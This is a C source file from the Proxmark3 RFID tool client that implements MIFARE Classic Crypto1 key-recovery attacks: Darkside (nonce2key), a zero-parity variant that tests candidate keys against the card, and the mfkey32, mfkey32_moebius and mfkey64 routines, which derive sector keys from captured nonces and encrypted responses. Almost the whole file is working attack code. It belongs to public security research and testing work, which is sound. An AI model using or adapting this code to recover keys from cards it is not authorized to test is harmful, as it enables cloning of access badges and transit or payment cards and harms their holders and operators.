cvs.zerfleddert.de Git - proxmark3-svn/blob - client/nonce2key/nonce2key.c

   1 //-----------------------------------------------------------------------------
   2 // Merlok - June 2011
   3 // Roel - Dec 2009
   4 // Unknown author
   5 //
   6 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
   7 // at your option, any later version. See the LICENSE.txt file for the text of
   8 // the license.
   9 //-----------------------------------------------------------------------------
  10 // MIFARE Darkside hack
  11 //-----------------------------------------------------------------------------
  12 #include "nonce2key.h"
  13
  14 int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
  15         struct Crypto1State *state;
  16         uint32_t i, pos, rr = 0, nr_diff;
  17         byte_t bt, ks3x[8], par[8][8];
  18
  19         // Reset the last three significant bits of the reader nonce
  20         nr &= 0xffffff1f;
  21
  22         PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08x)", uid, nt, par_info, ks_info, nr);
  23
  24         for ( pos = 0; pos < 8; pos++ ) {
  25                 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
  26                 bt = (par_info >> (pos*8)) & 0xff;
  27
  28                 for ( i = 0; i < 8; i++) {
  29                         par[7-pos][i] = (bt >> i) & 0x01;
  30                 }
  31         }
  32
  33         PrintAndLog("+----+--------+---+-----+---------------+");
  34         PrintAndLog("|diff|{nr}    |ks3|ks3^5|parity         |");
  35         PrintAndLog("+----+--------+---+-----+---------------+");
  36         for ( i = 0; i < 8; i++) {
  37                 nr_diff = nr | i << 5;
  38
  39                 PrintAndLog("| %02x |%08x| %01x |  %01x  |%01x,%01x,%01x,%01x,%01x,%01x,%01x,%01x|",
  40                         i << 5, nr_diff, ks3x[i], ks3x[i]^5,
  41                         par[i][0], par[i][1], par[i][2], par[i][3],
  42                         par[i][4], par[i][5], par[i][6], par[i][7]);
  43
  44         }
  45         PrintAndLog("+----+--------+---+-----+---------------+");
  46
  47         clock_t t1 = clock();
  48
  49         state = lfsr_common_prefix(nr, rr, ks3x, par);
  50         lfsr_rollback_word(state, uid ^ nt, 0);
  51         crypto1_get_lfsr(state, key);
  52         crypto1_destroy(state);
  53
  54         t1 = clock() - t1;
  55         if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks", (float)t1);
  56         return 0;
  57 }
  58
  59 int compar_intA(const void * a, const void * b) {
  60         if (*(int64_t*)b == *(int64_t*)a) return 0;
  61         if (*(int64_t*)b > *(int64_t*)a) return 1;
  62         return -1;
  63 }
  64
  65 // call when PAR == 0,  special attack?  It seems to need two calls.  with same uid, block, keytype
  66 int nonce2key_ex(uint8_t blockno, uint8_t keytype, uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) {
  67
  68         struct Crypto1State *state;
  69         uint32_t i, pos, key_count;
  70         uint8_t ks3x[8];
  71         uint64_t key_recovered;
  72         int64_t *state_s;
  73         static uint8_t last_blockno;
  74         static uint8_t last_keytype;
  75         static uint32_t last_uid;
  76         static int64_t *last_keylist;
  77
  78         if (last_uid != uid &&
  79                 last_blockno != blockno &&
  80                 last_keytype != keytype &&
  81                 last_keylist != NULL)
  82         {
  83                 free(last_keylist);
  84                 last_keylist = NULL;
  85         }
  86         last_uid = uid;
  87         last_blockno = blockno;
  88         last_keytype = keytype;
  89
  90         // Reset the last three significant bits of the reader nonce
  91         nr &= 0xffffff1f;
  92
  93         // split keystream into array
  94         for (pos=0; pos<8; pos++) {
  95                 ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
  96         }
  97
  98         // find possible states for this keystream
  99         state = lfsr_common_prefix_ex(nr, ks3x);
 100
 101         if (!state) {
 102                 PrintAndLog("Failed getting states");
 103                 return 1;
 104         }
 105
 106         state_s = (int64_t*)state;
 107
 108         uint32_t xored = uid ^ nt;
 109
 110         for (i = 0; (state) && ((state + i)->odd != -1); i++) {
 111                 lfsr_rollback_word(state + i, xored, 0);
 112                 crypto1_get_lfsr(state + i, &key_recovered);
 113                 *(state_s + i) = key_recovered;
 114         }
 115
 116         qsort(state_s, i, sizeof(int64_t), compar_intA);
 117         *(state_s + i) = -1;
 118
 119         // first call to this function.  clear all other stuff and set new found states.
 120         if (last_keylist == NULL) {
 121                 free(last_keylist);
 122                 last_keylist = state_s;
 123                 PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on...");
 124                 PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)", uid, nt, ks_info, nr);
 125                 return 1;
 126         }
 127
 128         PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)", uid, nt, ks_info, nr);
 129
 130         //Create the intersection:
 131         int64_t *p1, *p2, *p3;
 132         p1 = p3 = last_keylist;
 133         p2 = state_s;
 134
 135         while ( *p1 != -1 && *p2 != -1 ) {
 136                 if (compar_intA(p1, p2) == 0) {
 137                         PrintAndLog("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx,(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
 138                         *p3++ = *p1++;
 139                         p2++;
 140                 }
 141                 else {
 142                         while (compar_intA(p1, p2) == -1) ++p1;
 143                         while (compar_intA(p1, p2) == 1) ++p2;
 144                 }
 145         }
 146         key_count = p3 - last_keylist;
 147         PrintAndLog("key_count: %d", key_count);
 148         if ( key_count == 0 ){
 149                 free(state);
 150                 state = NULL;
 151                 return 0;
 152         }
 153
 154         uint8_t retval = 1;
 155         // Validate all key candidates with testing each of them with mfCheckKeys
 156         uint8_t keyBlock[6] = {0,0,0,0,0,0};
 157         uint64_t key64;
 158         for (i = 0; i < key_count; i++) {
 159                 key64 = *(last_keylist + i);
 160                 num_to_bytes(key64, 6, keyBlock);
 161                 key64 = 0;
 162                 if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) {
 163                         *key = key64;
 164                         retval = 0;
 165                         goto out;
 166                 }
 167         }
 168
 169 out:
 170         free(last_keylist);
 171         last_keylist = NULL;
 172         free(state);
 173         state = NULL;
 174         return retval;
 175 }
 176
 177 // 32 bit recover key from 2 nonces
 178 bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) {
 179         struct Crypto1State *s,*t;
 180         uint64_t outkey = 0;
 181         uint64_t key=0;     // recovered key
 182         uint32_t uid     = data.cuid;
 183         uint32_t nt      = data.nonce;  // first tag challenge (nonce)
 184         uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
 185         uint32_t ar0_enc = data.ar;  // first encrypted reader response
 186         uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
 187         uint32_t ar1_enc = data.ar2; // second encrypted reader response
 188         bool isSuccess = FALSE;
 189         uint8_t counter = 0;
 190
 191         clock_t t1 = clock();
 192         uint32_t p64 = prng_successor(nt, 64);
 193
 194         if ( verbose ) {
 195                 PrintAndLog("Recovering key for:");
 196                 PrintAndLog("    uid: %08x",uid);
 197                 PrintAndLog("     nt: %08x",nt);
 198                 PrintAndLog(" {nr_0}: %08x",nr0_enc);
 199                 PrintAndLog(" {ar_0}: %08x",ar0_enc);
 200                 PrintAndLog(" {nr_1}: %08x",nr1_enc);
 201                 PrintAndLog(" {ar_1}: %08x",ar1_enc);
 202                 PrintAndLog("\nLFSR succesors of the tag challenge:");
 203                 PrintAndLog("  nt': %08x", p64);
 204                 PrintAndLog(" nt'': %08x", prng_successor(p64, 32));
 205         }
 206
 207         s = lfsr_recovery32(ar0_enc ^ p64, 0);
 208
 209         for(t = s; t->odd | t->even; ++t) {
 210                 lfsr_rollback_word(t, 0, 0);
 211                 lfsr_rollback_word(t, nr0_enc, 1);
 212                 lfsr_rollback_word(t, uid ^ nt, 0);
 213                 crypto1_get_lfsr(t, &key);
 214                 crypto1_word(t, uid ^ nt, 0);
 215                 crypto1_word(t, nr1_enc, 1);
 216                 if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
 217                         outkey = key;
 218                         ++counter;
 219                         if (counter==20) break;
 220                 }
 221         }
 222         isSuccess = (counter > 0);
 223         t1 = clock() - t1;
 224         if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks  - possible keys %d", (float)t1, counter);
 225
 226         *outputkey = ( isSuccess ) ? outkey : 0;
 227         crypto1_destroy(s);
 228         return isSuccess;
 229 }
 230
 231 bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) {
 232         struct Crypto1State *s, *t;
 233         uint64_t outkey  = 0;
 234         uint64_t key     = 0;                        // recovered key
 235         uint32_t uid     = data.cuid;
 236         uint32_t nt0     = data.nonce;  // first tag challenge (nonce)
 237         uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
 238         uint32_t ar0_enc = data.ar; // first encrypted reader response
 239         //uint32_t uid1    = le32toh(data+16);
 240         uint32_t nt1     = data.nonce2; // second tag challenge (nonce)
 241         uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
 242         uint32_t ar1_enc = data.ar2; // second encrypted reader response
 243         bool isSuccess = FALSE;
 244         int counter = 0;
 245
 246         clock_t t1 = clock();
 247
 248         uint32_t p640 = prng_successor(nt0, 64);
 249         uint32_t p641 = prng_successor(nt1, 64);
 250
 251         if (verbose) {
 252                 PrintAndLog("Recovering key for:");
 253                 PrintAndLog("    uid: %08x", uid);
 254                 PrintAndLog("   nt_0: %08x", nt0);
 255                 PrintAndLog(" {nr_0}: %08x", nr0_enc);
 256                 PrintAndLog(" {ar_0}: %08x", ar0_enc);
 257                 PrintAndLog("   nt_1: %08x", nt1);
 258                 PrintAndLog(" {nr_1}: %08x", nr1_enc);
 259                 PrintAndLog(" {ar_1}: %08x", ar1_enc);
 260                 PrintAndLog("\nLFSR succesors of the tag challenge:");
 261                 PrintAndLog("  nt': %08x", p640);
 262                 PrintAndLog(" nt'': %08x", prng_successor(p640, 32));
 263         }
 264
 265         s = lfsr_recovery32(ar0_enc ^ p640, 0);
 266
 267         for(t = s; t->odd | t->even; ++t) {
 268                 lfsr_rollback_word(t, 0, 0);
 269                 lfsr_rollback_word(t, nr0_enc, 1);
 270                 lfsr_rollback_word(t, uid ^ nt0, 0);
 271                 crypto1_get_lfsr(t, &key);
 272
 273                 crypto1_word(t, uid ^ nt1, 0);
 274                 crypto1_word(t, nr1_enc, 1);
 275                 if (ar1_enc == (crypto1_word(t, 0, 0) ^ p641)) {
 276                         outkey=key;
 277                         ++counter;
 278                         if (counter==20) break;
 279                 }
 280         }
 281     isSuccess   = (counter > 0);
 282         t1 = clock() - t1;
 283         if (verbose) {
 284                 if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks  - possible keys %d", (float)t1, counter);
 285         }
 286         *outputkey = ( isSuccess ) ? outkey : 0;
 287         crypto1_destroy(s);
 288         return isSuccess;
 289 }
 290
 291 int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
 292         uint32_t uid    = le32toh(data);
 293         uint32_t nt     = le32toh(data+4);  // tag challenge
 294         uint32_t nr_enc = le32toh(data+8);  // encrypted reader challenge
 295         uint32_t ar_enc = le32toh(data+12); // encrypted reader response
 296         uint32_t at_enc = le32toh(data+16);     // encrypted tag response
 297         return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
 298 }
 299
 300 int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
 301         uint64_t key = 0;               // recovered key
 302         uint32_t ks2;                   // keystream used to encrypt reader response
 303         uint32_t ks3;                   // keystream used to encrypt tag response
 304         struct Crypto1State *revstate;
 305
 306         PrintAndLog("Enter mfkey64");
 307         clock_t t1 = clock();
 308
 309         // Extract the keystream from the messages
 310         ks2 = ar_enc ^ prng_successor(nt, 64);
 311         ks3 = at_enc ^ prng_successor(nt, 96);
 312         revstate = lfsr_recovery64(ks2, ks3);
 313         lfsr_rollback_word(revstate, 0, 0);
 314         lfsr_rollback_word(revstate, 0, 0);
 315         lfsr_rollback_word(revstate, nr_enc, 1);
 316         lfsr_rollback_word(revstate, uid ^ nt, 0);
 317         crypto1_get_lfsr(revstate, &key);
 318
 319         PrintAndLog("Found Key: [%012"llx"]", key);
 320         t1 = clock() - t1;
 321         if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks", (float)t1);
 322
 323         *outputkey = key;
 324         crypto1_destroy(revstate);
 325         return 0;
 326 }